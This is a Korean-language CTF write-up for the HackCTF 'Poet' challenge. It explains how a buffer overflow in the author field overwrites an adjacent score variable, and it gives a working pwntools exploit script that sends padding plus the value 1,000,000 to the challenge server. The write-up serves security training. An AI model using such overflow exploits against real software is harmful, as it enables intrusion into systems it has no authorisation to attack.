CTF's Write-up
HACKCTF - Poet
m0nd2y
2020. 9. 7. 20:52
해당 문제를 실행해보면
이런식으로 무언가 1,000,000점수를 획득해야한다네요.
ida로 코드를 확인해보면
rete_poem 함수를 보면 poem에 입력받았던 문자중에 해당 단어가 있을경우 100점을 주는 제도인데, 예를들어 CTF를 1000000번 입력하게되면 풀리겠지만, poem버퍼가 400이라
넘어 가서 해당 방식으로 풀면 안되겠다고 생각했습니다.
우리의 궁극적은 목표가 점수를 1,000,000으로 만드는것이기에 해당 버퍼를 1,000,000으로 덮는 방법으로 진행해보겠습니다.
author의 이 변수가
이 위치에 있고.
rate poem 의 점수 변수가
이 위치에 있으니 이 차를 구해서 dummy를 채워주고, 1,000,000을 넣어주면 됩니다.
이를 코드를 작성하면 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3012)
#r = process("./poet")
e = ELF("./poet")
context.log_level = "debug"
score = 0x00000000006024E0-0x00000000006024A0
log.info("Score = " + str(score))
r.recvuntil("> ")
r.sendline("pass")
payload = ""
payload += "A"*score
payload += p64(1000000)
r.recvuntil("> ")
r.sendline(payload)
r.interactive()
|
cs |
실행하면

flag를 획득할 수 있습니다.